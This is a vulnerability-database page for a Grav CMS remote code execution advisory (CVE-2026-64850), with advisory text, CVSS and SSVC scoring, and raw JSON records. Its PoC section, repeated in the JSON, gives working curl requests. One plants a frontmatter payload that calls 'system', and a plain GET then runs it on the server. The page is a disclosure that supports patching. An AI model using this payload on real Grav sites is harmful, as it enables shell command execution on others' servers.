Vulnerability-Lookup

GHSA-FJ2P-QJ2F-74V5

Vulnerability from github – Published: 2026-09-02 14:51 – Updated: 2026-09-02 14:51

Summary

Grav: Remote code execution via unrestricted callable in Blueprint::dynamicData()

Details

Summary

An account with the admin.pages permission (or api.pages.write) can run shell commands on the server. The command executes whenever anyone — including an unauthenticated visitor — opens the page.

Details

Blueprint::dynamicData() (system/src/Grav/Common/Data/Blueprint.php:426) passes a Class::method string and its arguments straight to call_user_func_array() with no allowlist. The form plugin runs page frontmatter through this path (form/classes/Form.php:432), so a page author controls the input. Grav\Common\Utils::arrayFilterRecursive($source,$fn) (system/src/Grav/Common/Utils.php:1169) is a public static that calls $fn($key,$value), so passing system as $fn and a command as the array key runs the command.

PoC

Placeholders: <BASE_URL> the site; <SESSION_COOKIE> an admin session cookie for an account with admin.pages; <ADMIN_NONCE> the admin-nonce on any admin page (window.GravAdmin.config.admin_nonce).

Save a "form" page whose field carries the callable directive:

curl '<BASE_URL>/admin/pages/rcepoc' \
  -H 'Cookie: <SESSION_COOKIE>' \
  --data-urlencode 'task=save' \
  --data-urlencode 'admin-nonce=<ADMIN_NONCE>' \
  --data-urlencode 'data[folder]=rcepoc' \
  --data-urlencode 'data[name]=form' \
  --data-urlencode 'data[title]=x' \
  --data-urlencode 'data[content]=hi' \
  --data-urlencode "data[frontmatter]=forms:
  x:
    fields:
      y:
        type: text
        data-opts@:
          - 'Grav\Common\Utils::arrayFilterRecursive'
          - { 'echo GRAV-RCE-OK; id': 'x' }
          - system"

Trigger it as an unauthenticated visitor:

curl '<BASE_URL>/rcepoc'

Success check: the GET response body begins with GRAV-RCE-OK followed by the web-server user's id output (a line starting uid=...) — the command ran during the unauthenticated request and its output is reflected in the response.

Impact

Shell command execution as the web-server user, triggered by any visit to the page, plantable by any holder of admin.pages or api.pages.write.

Trust boundary: crossed. admin.pages (or api.pages.write) grants page editing, not code execution; the holder plants the payload and the code runs at request time on any later view of the page.

Severity

8.7 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

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{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "getgrav/grav"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.0.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-64850"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-02T14:51:18Z",
    "nvd_published_at": "2026-08-19T16:18:39Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nAn account with the `admin.pages` permission (or `api.pages.write`) can run shell\ncommands on the server. The command executes whenever anyone \u2014 including an\nunauthenticated visitor \u2014 opens the page.\n\n### Details\n`Blueprint::dynamicData()` (system/src/Grav/Common/Data/Blueprint.php:426) passes\na `Class::method` string and its arguments straight to `call_user_func_array()`\nwith no allowlist. The form plugin runs page frontmatter through this path\n(form/classes/Form.php:432), so a page author controls the input.\n`Grav\\Common\\Utils::arrayFilterRecursive($source,$fn)`\n(system/src/Grav/Common/Utils.php:1169) is a public static that calls\n`$fn($key,$value)`, so passing `system` as `$fn` and a command as the array key\nruns the command.\n\n### PoC\nPlaceholders: `\u003cBASE_URL\u003e` the site; `\u003cSESSION_COOKIE\u003e` an admin session cookie\nfor an account with `admin.pages`; `\u003cADMIN_NONCE\u003e` the `admin-nonce` on any admin\npage (`window.GravAdmin.config.admin_nonce`).\n\nSave a \"form\" page whose field carries the callable directive:\n\n    curl \u0027\u003cBASE_URL\u003e/admin/pages/rcepoc\u0027 \\\n      -H \u0027Cookie: \u003cSESSION_COOKIE\u003e\u0027 \\\n      --data-urlencode \u0027task=save\u0027 \\\n      --data-urlencode \u0027admin-nonce=\u003cADMIN_NONCE\u003e\u0027 \\\n      --data-urlencode \u0027data[folder]=rcepoc\u0027 \\\n      --data-urlencode \u0027data[name]=form\u0027 \\\n      --data-urlencode \u0027data[title]=x\u0027 \\\n      --data-urlencode \u0027data[content]=hi\u0027 \\\n      --data-urlencode \"data[frontmatter]=forms:\n      x:\n        fields:\n          y:\n            type: text\n            data-opts@:\n              - \u0027Grav\\Common\\Utils::arrayFilterRecursive\u0027\n              - { \u0027echo GRAV-RCE-OK; id\u0027: \u0027x\u0027 }\n              - system\"\n\nTrigger it as an unauthenticated visitor:\n\n    curl \u0027\u003cBASE_URL\u003e/rcepoc\u0027\n\nSuccess check: the GET response body begins with `GRAV-RCE-OK` followed by the\nweb-server user\u0027s `id` output (a line starting `uid=...`) \u2014 the command ran\nduring the unauthenticated request and its output is reflected in the response.\n\n\n### Impact\nShell command execution as the web-server user, triggered by any visit to the\npage, plantable by any holder of `admin.pages` or `api.pages.write`.\n\nTrust boundary: crossed. `admin.pages` (or `api.pages.write`) grants page\nediting, not code execution; the holder plants the payload and the code runs at\nrequest time on any later view of the page.",
  "id": "GHSA-fj2p-qj2f-74v5",
  "modified": "2026-09-02T14:51:18Z",
  "published": "2026-09-02T14:51:18Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/getgrav/grav/security/advisories/GHSA-fj2p-qj2f-74v5"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-64850"
    },
    {
      "type": "WEB",
      "url": "https://github.com/getgrav/grav/commit/acffa34cbb0787fee87c609e0d6289e904fee33c"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/getgrav/grav"
    },
    {
      "type": "WEB",
      "url": "https://github.com/getgrav/grav/releases/tag/2.0.7"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Grav: Remote code execution via unrestricted callable in Blueprint::dynamicData()"
}

CVE-2026-64850 (GCVE-0-2026-64850)

Vulnerability from cvelistv5 – Published: 2026-08-19 15:58 – Updated: 2026-08-19 17:51

Title

Grav: Remote code execution via unrestricted callable in Blueprint::dynamicData()

Summary

Grav is a file-based Web platform. Prior to 2.0.7, Grav Blueprint::dynamicData() in system/src/Grav/Common/Data/Blueprint.php sends an editor-controlled Class::method provider and arguments to call_user_func_array() without rejecting dangerous callback parameters. An account with admin.pages or api.pages.write can use Grav\Common\Utils::arrayFilterRecursive() as a trampoline with system as the callback, place a command in page frontmatter, and execute that command as the web server user when the page is viewed. This issue is fixed in version 2.0.7.

Severity

8.7 (High)


                        
                          CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

SSVC

Exploitation: poc Automatable: no Technical Impact: total

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-08-19 17:51 UTC

CWE

CWE-94 - Improper Control of Generation of Code ('Code Injection')

Assigner

GitHub_M CNA under the mitre root

CNA scorecard C 72/100 over 7658 records in the last 180 days details

References

3 references

URL	Tags
https://github.com/getgrav/grav/security/advisori…	x_refsource_CONFIRM
https://github.com/getgrav/grav/commit/acffa34cbb…	x_refsource_MISC
https://github.com/getgrav/grav/releases/tag/2.0.7	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
getgrav	grav	Affected: < 2.0.7

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-64850",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-08-19T17:51:47.291941Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-08-19T17:51:53.967Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/getgrav/grav/security/advisories/GHSA-fj2p-qj2f-74v5"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "grav",
          "vendor": "getgrav",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 2.0.7"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Grav is a file-based Web platform. Prior to 2.0.7, Grav Blueprint::dynamicData() in system/src/Grav/Common/Data/Blueprint.php sends an editor-controlled Class::method provider and arguments to call_user_func_array() without rejecting dangerous callback parameters. An account with admin.pages or api.pages.write can use Grav\\Common\\Utils::arrayFilterRecursive() as a trampoline with system as the callback, place a command in page frontmatter, and execute that command as the web server user when the page is viewed. This issue is fixed in version 2.0.7."
        }
      ],
      "metrics": [
        {
          "cvssV4_0": {
            "attackComplexity": "LOW",
            "attackRequirements": "NONE",
            "attackVector": "NETWORK",
            "baseScore": 8.7,
            "baseSeverity": "HIGH",
            "privilegesRequired": "LOW",
            "subAvailabilityImpact": "NONE",
            "subConfidentialityImpact": "NONE",
            "subIntegrityImpact": "NONE",
            "userInteraction": "NONE",
            "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
            "version": "4.0",
            "vulnAvailabilityImpact": "HIGH",
            "vulnConfidentialityImpact": "HIGH",
            "vulnIntegrityImpact": "HIGH"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-94",
              "description": "CWE-94: Improper Control of Generation of Code (\u0027Code Injection\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-08-19T15:58:02.850Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/getgrav/grav/security/advisories/GHSA-fj2p-qj2f-74v5",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/getgrav/grav/security/advisories/GHSA-fj2p-qj2f-74v5"
        },
        {
          "name": "https://github.com/getgrav/grav/commit/acffa34cbb0787fee87c609e0d6289e904fee33c",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/getgrav/grav/commit/acffa34cbb0787fee87c609e0d6289e904fee33c"
        },
        {
          "name": "https://github.com/getgrav/grav/releases/tag/2.0.7",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/getgrav/grav/releases/tag/2.0.7"
        }
      ],
      "source": {
        "advisory": "GHSA-fj2p-qj2f-74v5",
        "discovery": "UNKNOWN"
      },
      "title": "Grav: Remote code execution via unrestricted callable in Blueprint::dynamicData()"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-64850",
    "datePublished": "2026-08-19T15:58:02.850Z",
    "dateReserved": "2026-07-20T18:31:39.290Z",
    "dateUpdated": "2026-08-19T17:51:53.967Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Vulnerability timeline

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The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
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Action not permitted

GHSA-FJ2P-QJ2F-74V5

Summary

Details

PoC

Impact

CVE-2026-64850 (GCVE-0-2026-64850)

Tags

Sightings

Nomenclature

Vulnerability timeline

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